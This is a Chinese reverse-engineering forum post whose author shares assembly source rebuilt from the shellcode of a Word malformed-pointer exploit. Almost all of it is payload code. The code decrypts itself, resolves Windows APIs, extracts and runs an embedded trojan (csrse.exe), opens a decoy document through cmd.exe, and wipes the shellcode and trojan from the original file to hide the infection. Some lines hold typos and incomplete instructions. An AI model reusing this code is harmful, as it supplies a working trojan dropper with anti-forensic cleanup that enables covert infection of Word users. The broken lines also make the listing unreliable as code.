各位高手多多指教!小弟初学逆向不久,从看雪论坛得到很大帮助,今有小成,和大家分享。
由于word文档过于邪恶,容易利用,所以就不提供样本了。这是我反汇编后用自己用asm写出来的代码,高手应该很容易看懂。
此代码作用:word畸形指针漏洞被利用后,执行此代码,此代码可以实现以下功能:
1.释放出木马文件并运行
2.释放出被绑定的word文件并打开,名字为tmp00.doc
3.被绑马的原始word文件溢出后被此代码将其中的shellcode及木马程序删除。
4.被绑马的原始word文档被写入第一次绑定的word文档中的内容,在下次打开时正常打开。 .386
.model flat,stdcall
option casemap:none
include windows.inc
include kernel32.inc
includelib kernel32.lib
include user32.inc
includelib user32.lib
.data
.code
start:
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;前向解密代码分析
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
jmp @F
Decrypt:
pop edi ;保存当前程序解密位置
push edi
pop esi ;把当前解密位置送入esi
xor ebx,ebx
xor ecx,ecx
mov ecx,1400h ;把代码长度送入ecx,其实可以加长位置
Add1:
inc ebx
cmp ebx,ecx
je CodeStart
lods byte ptr [esi]
xor al,0A4h
stos byte ptr es:[edi]
jmp Add1
@@:
call Decrypt
CodeStart:
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;正文程序开始
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
push ebp ;为程序预留堆栈内存空间
mov ebx,esp
sub esp,2D0H
push ebx
push esi
push edi
pushad
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;取得kernel32.dll的基地址
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
mov edx,dword ptr fs:[30h]
jmp CodeEnd ;关键语句,可以把数据的起始地址压入堆栈
StackJudge:
pop dword ptr [ebp - 24Ch ] ;将数据的开始地址送入EBP - 24CH
mov eax,dword ptr [edx + 0Ch]
mov esi,dword ptr [eax + 1Ch]
lods dword ptr [esi]
mov edi,dword ptr [eax + 08h]
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;把取得的基地址送入ebp-140h edi中保存的数据是kernel32.dll的基地址
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
mov dword ptr [ebp-140h],edi
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;由基地址到导出表
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
mov eax,dword ptr [edi+3Ch] ;PE
mov edx,dword ptr [edi+eax+78h] ;DataDirectory
add edx,edi
mov ebx,dword ptr [edx+20h]
add ebx,edi
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;开始查找GetProcAddressAPI的地址
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
xor ecx,ecx
SeekGetProcA:
inc ecx
mov esi,dword ptr [ebx + ecx*4]
add esi,edi
mov eax,50746547h
cmp eax,dword ptr [esi]
jnz SeekGetProcA
mov eax,41636F72h
cmp eax,dword ptr [esi+4]
jnz SeekGetProcA
mov ebx,dword ptr [edx + 24h] ;58284h
add ebx,edi ;77EB8284h
mov cx,word ptr [edx+24h]
add ebx,edi
mov eax,dword ptr [ebx+ebx*2]
mov ebx,dword ptr [edx+1Ch]
add ebx,edi
mov dword ptr [ebx+ecx*4]
add eax,edi ;得到GetProcAddress函数的地址 送入 ebp - 144h
mov dword ptr [ebp - 144h],eax
call @F
db 'LoadLibraryA',0
@@:
push edi
call eax ;取得LoadLibraryA函数的地址 送入ebp - 254h
mov dword ptr[ebp-254h],eax
popad
mov eax, dword ptr [ebp-24Ch] ;将数据的开始位置ebp- 24Ch送入ebp - 2ACh
mov dword ptr [ebp - 2ACh],eax ;\Temp\csrse.exe 10h
mov ecx,dword ptr [ebp - 24Ch]
add ecx,10h
mov dword ptr [ebp - 13Ch],ecx ;\Temp\tmp00.doc 10h
mov edx,dword ptr [ebp-24Ch]
add edx,20h
mov dword ptr [ebp - 138h],edx ;cmd.exe /c start winword.exe /w /q 26h
mov eax,dword ptr [ebp - 24Ch]
mov ecx,dword ptr [eax + 46h]
mov dword ptr [ebp - 28h],ecx ;文件位置 5E00h 木马文件位置
mov edx,dword ptr [ebp-24Ch]
mov eax,dword ptr [edx + 4Ah]
mov dword ptr [ebp - 24h],eax ;文件大小BA00h 9CF9h 木马文件大小
mov ecx,dword ptr[ebp - 24Ch]
mov edx,dword ptr [ecx+4Eh]
mov dword ptr[ebp-25Ch],edx ;文件位置11800h FAF9h 文档文件位置
mov eax,dword ptr [ebp-24Ch]
mov ecx,dword ptr [eax + 52h]
mov dword ptr [ebp-258h],ecx ;文件大小AA00h 2A00h
mov edx,dword ptr[ebp - 24Ch]
mov eax,dword ptr[edx + 56h]
mov dword ptr [ebp - 20h],eax ;文件位置1C200 124F9h
mov ecx,dword ptr[ebp - 140h] ;Kernel32.dll的加载基地址
mov dword ptr [ebp - 250h],ecx
mov edx,dword ptr [ebp - 24Ch]
add edx,5Ah
mov dword ptr [ebp -18h],edx ;数据中 GetWindowsDirectoryA 字符串
mov dword ptr [ebp - 260h],0
GetApi:
mov eax,dword ptr[ebp-18h]
cmp dword ptr [eax],0
je FetchAllApi
mov ecx,dword ptr [ebp-18h] ;数据中的第一个函数名字符串GetWindowsDirectoryA
mov dword ptr [ebp - 24Ch],ecx
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;用于分析函数名字符串在何处结尾
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
@@:
mov edx,dword ptr [ebp - 18h]
movsx eax,byte ptr [edx]
test eax,eax
je @F
mov ecx,dword ptr [ebp - 18h]
add ecx,1
mov dword ptr [ebp - 18h],ecx
jmp @B
@@:
mov edx,dword ptr [ebp - 18h] ;数据中第一个函数名字符串结尾
cmp dword ptr [edx - 4],6C6C642EH
jnz @F
mov eax,dword ptr [ebp - 24Ch]
push eax
call dword ptr[ebp - 254h] ;LoadLibraryA api address
mov dword ptr [ebp -250h],eax
jmp zuiho
@@:
mov ecx,dword ptr [ebp - 24Ch] ;数据中的函数名
push ecx
mov edx,dword ptr [ebp - 250h] ;kernel32.dll基地址
push edx
call dword ptr [ebp -144h] ;调用GetProcAddress
mov ecx,dword ptr [ebp - 260h]
mov dword ptr [ebp + ecx*4 +2D0h],eax ;api地址放到ebp-2D0h开始的堆栈中第一个是GetWindowsDirectoryA
mov edx,dword ptr [ecp -260h]
add edx,1
mov dword ptr [ebp - 260h],edx
;把位于函数名字符串从前一个结束的0位置设置到下一个函数名字符串开始
zuiho:
mov eax,dword ptr [ebp -18h]
add eax,1
mov dword ptr [ebp -18h],eax
mov ecx,dword ptr [ebp -18h]
mov dword ptr [ebp -24Ch],ecx
jmp GetApi
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;至此,所有API函数的地址被获取,并被保存在堆栈ebp - 2D0 ---- ebp - 2B0
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
FetchAllApi:
mov dword ptr [ebp -134h],0
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;句柄数依次加4的暴力查找法,找到打开word文件的句柄
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
NotGainHandle:
mov edx,dword ptr[ebp -134h]
add edx,4
mov dword ptr[ebp - 134h],edx
push 0
mov eax,dword ptr[ebp- 134h]
push eax
call dword ptr [ecp-22Ch] ;GetFileSize
mov dword ptr[ecp - 260h],eax
mov ecx,dword ptr[ebp- 260h]
cmp ecx,dword ptr[ebp - 20h]
jnz NotGainHandle
push 104h
lea edx,dword ptr [ebp - 130h]
push edx
call dword ptr[ebp - 2D0h] ;GetWindowsDirectoryA
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;木马文件的创建和打开
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
mov dword ptr [ebp - 14h],eax
mov eax,dword ptr [ebp - 14h]
lea ecx,dword ptr [ebp + eax -130h]
mov edx,dword ptr [ebp - 2ACh] ; \Temp\csrse.exe
mov eax,dword ptr [edx]
mov dword ptr [ecx],eax
mov eax,dword ptr [edx + 4]
mov dword ptr [ecx + 4],eax
mov eax,dword ptr[edx + 8]
mov dword ptr [ecx + 8],eax
mov edx,dword ptr[edx + 0Ch]
mov dword ptr [ecx+0Ch],edx
push 0
push 80h
push 2
push 0
push 3
push 40000000h
lea eax,dword ptr[ecp - 130h] ;C\WINNT\Temp\csrse.exe
push eax
call dword ptr[ebp -2C8h] ;CreateFileA
mov dword ptr [ebp -1ch],eax
push 0
push 0
mov ecx,dword ptr[ebp - 28h]
push ecx
mov edx,dword ptr [ebp - 134h] ;5E00
push edx
call dword ptr [ebp - 2B8h] ;SetFilePointer
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;读写文件和解密模块
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
CreateExe:
mov dword ptr [ebp -260h],0
mov eax, dword ptr [ebp -260h] ;文件大小 9CF9
cmp eax,dword ptr [ebp - 24h]
jnb CompleteExe
push 0
lea ecx,dword ptr [ebp - 2Ch]
push ecx
push 1
mov eax,dword ptr [ebp -134h]
push eax
call dword ptr [ebp - 2BCh] ;ReadFile
movsx ecx,byte ptr [ebp - 2A8h]
rol cl,5
nop
nop
nop
mov byte ptr [ebp - 2A8h],cl
push 0
lea edx,dword ptr [ebp - 2Ch]
push edx
lea eax,dword ptr[ebp - 2A8h]
push eax
mov ecx,dword ptr [ebp - 1Ch]
push ecx
call dword ptr [ebp - 2C0h] ;WriteFile
mov edx,dword ptr [ebp - 260h]
add edx,1 文件指针,每次加一,读下一个字节
mov dword ptr [ebp - 260h],eax
jmp CreateExe
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;解密完毕
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
CompleteExe:
mov edx,dword ptr [ebp - 1Ch]
push eax
call dword ptr [ebp - 2C4h] ;CloseHandle
mov ecx,11h
xor eax,eax
lea edi,dword ptr [ebp - 2A4h]
rep stos dword ptr es:[edi]
mov dword ptr [ebp - 2A4h],44h
lea ecx,dword ptr [ebp - 10h]
push ecx
lea edx,dword ptr [ebp-2A4h]
push edx
push 0
push 0
push 80000000h
push 0
push 0
push 0
lea eax,dword ptr [ebp - 130h]
push eax ;C\WINNT\Temp\csrse.exe
push 0
call dword ptr [ebp - 2B4h] ;CreateProcessA
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;word 文件的新建和打开
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
mov ecx,dword ptr [ebp -14h]
lea edx,dword ptr [ebp + ecx -130h]
mov eax,dword ptr [ebp - 13Ch] ;\Temp\tmp00.doc
mov ecx,dword ptr [eax]
mov dword ptr [edx],ecx
mov ecx,dword ptr [eax + 4]
mov dword ptr[edx+4],ecx
mov ecx,dword ptr [eax + 8]
mov dword ptr[edx +8],ecx
mov eax,dword ptr [eax + 0Ch]
mov dword ptr [edx +0Ch],eax ;edx == \Temp\tmp00.doc
push 0
push 80h
push 2
push 0
push 3
push 40000000h
lea ecx,dword ptr[ebp - 130h] ;C:\WINNT\Temp\tmp00.doc
push ecx
call dword ptr[ebp -2C8h] ;CreateFileA
mov dword ptr [ebp - 1Ch],eax
mov dword ptr [ebp - 260h],0
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;生成word文件和修复原有可溢出的word文件
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
CreateWord:
mov edx,dword ptr [ebp-260h] ;写入的字节数
cmp edx,dword ptr [ebp - 258h] ;文件的大小
jnb CompleteWord
push 0
push 0
mov eax,dword ptr [ebp -25Ch] ;FAF9
push eax
mov ecx,dword ptr [ebp - 134h]
push ecx
call dword ptr[ebp - 2B8h] ;SetFilePointer
push 0
lea eax,dword ptr [ebp - 2Ch]
push edx
push 1
lea eax,dword ptr [ebp -2A8h] ;buf
push eax
mov ecx,dword ptr [ebp -134h]
push ecx ; 原文件 318
call dword ptr [ebp -2BCh] ;ReadFile
push 0
push 0
mov edx,dword ptr[ebp -260h] ;文件定位位置 从0开始
push edx
mov eax,dword ptr[ebp -134h] ;318
push eax
call dword ptr [ebp -2B8h] ;SetFilePointer
movsx ecx,byte ptr [ebp - 2A8h]
rol cl,5
nop
nop
nop
mov byte ptr [ebp - 2A8h],cl
push 0
lea edx,dword ptr [ebp - 2Ch]
push edx
push 1
lea eax,dword ptr [ebp - 2A8h] ;将在后面附加文档文件中的数据写入原文件中 buf
push eax
mov ecx,dword ptr [ebp - 134h]
push ecx ;318 写入了原文档文件中
call dword ptr [ebp - 2C0h] ;WriteFile
push 0
lea edx,dword ptr [ebp - 2Ch]
push edx
push 1
lea eax,dword ptr [ebp - 2A8h]
push eax
mov ecx,dword ptr [ebp -1Ch]
push edx ;3A0 释放的文档文件
call dword ptr [ebp -2C0h] ;WriteFile
mov edx,dword ptr [ebp -25Ch] ;原文件中的指针 加1 移位
add edx,1
mov dword ptr [ebp -25Ch],edx
mov eax,dword ptr [ebp -260h] ; 写入的字节个数
add eax,1
mov dword ptr [ebp -260h],eax
jmp CreateWord
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;文件修复和生成 成功
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
CompleteWord:
mov ecx,dword ptr [ebp -1Ch]
push ecx ;3A0 释放的文档文件句柄
call dword ptr [ebp - 2C4h] ; CloseHandle 关闭文件句柄
mov byte ptr [ebp -2A8h],0
mov edx,dword ptr [ebp - 20h]
sub edx,dword ptr [ebp -258h]
mov dword ptr [ebp -260h],edx
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;原文档文件的木马部分填零
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
WordFill0:
cmp dword ptr [ebp - 260h],0
je CompleteFill
push 0
lea eax,dword ptr [ebp -2Ch]
push eax
push 1
lea ecx,dword ptr [ebp -2A8h]
push ecx
mov dword ptr [ebp - 134h]
push edx ;318
call dword ptr [ebp - 2C0h] ;WriteFile
mov dword ptr [ebp -260h] ;FAF9
sub eax,1
mov dword ptr [ebp - 260h],eax
jmp WordFill0
CompleteFill:
mov ecx,dword ptr [ebp - 134h]
push ecx ;318
call dword ptr [ebp - 2C4h] ;CloseHandle
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
mov ecx,41h
xor eax,eax
lea edi,dword ptr [ebp -248h] ;0
rep stos dword ptr es:[edi]
mov edx,dword ptr [ebp -14h] ;0Ah
add edx,34h ;3Eh
mov dword ptr[ebp -260h],edx
mov ecx,9
mov esi,dword ptr [ebp -138h] ; cmd.exe /c start winword.exe /w /q
lea edi,dword ptr[ebp -248h]
rep movs dword ptr es:[edi],dword ptr [esi]
mov ecx,dword ptr [ebp -14h] ;0Ah
add ecx,10h
lea esi,dword ptr [ebp -130h] ;C:\WIDNOWS\Temp\tmp00.doc
lea edi,dword ptr [ebp - 224h] ;
mov eax,ecx ;1Ah
shr ecx,2 ;6h
rep movs dword ptr es:[edi],dword ptr[esi]
mov ecx,eax
add ecx,3 ;2h
rep movs byte ptr es:[edi],byte ptr[esi]
mov ecx,dword ptr[ebp -260h] ;3Eh
mov byte ptr [ebp + ecx - 248h],22h
mov ecx,11h
xor eax,eax
lea edi,dword ptr[ ebp - 2A4h]
rep stos dword ptr es:[edi]
mov dword ptr [ebp - 10h]
push edx
lea eax,dword ptr [ebp -2A4h]
push eax
push 0
push 0
push 8000000h
push 0
push 0
push 0
lea ecx,dword ptr [ebp -248h]
push ecx ;cmd.exe /c start winword.exe /w /q C:\WIDNOWS\tmp00.doc
push 0
call dword ptr [ebp -2B4h] ;CreateProcessA
push 0
call dword ptr[ebp -2B0h] ;ExitProcess
xor eax,eax
mov dword ptr [eax],ebx
CodeEnd:
call StackJudge db '\Temp\csrse.exe',0
db '\Temp\Tmp00.doc',0
db 'cmd.exe /c start winword.exe /w /q ',0
dd 5E00h ;木马文件位置
dd 0BA00h ;木马文件大小
dd 11800h ;文档文件位置
dd 1C200h ;文档文件大小
dd 17600h ;捆绑后文件的总大小
db 'GetWindowsDirectoryA',0
db 'GetFileSize',0
db 'CreateFileA',0
db 'CloseHandle',0
db 'WriteFile',0
db 'ReadFile',0
db 'SetFilePointer',0
db 'CreateProcessA',0
db 'ExitProcess',0 end start
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)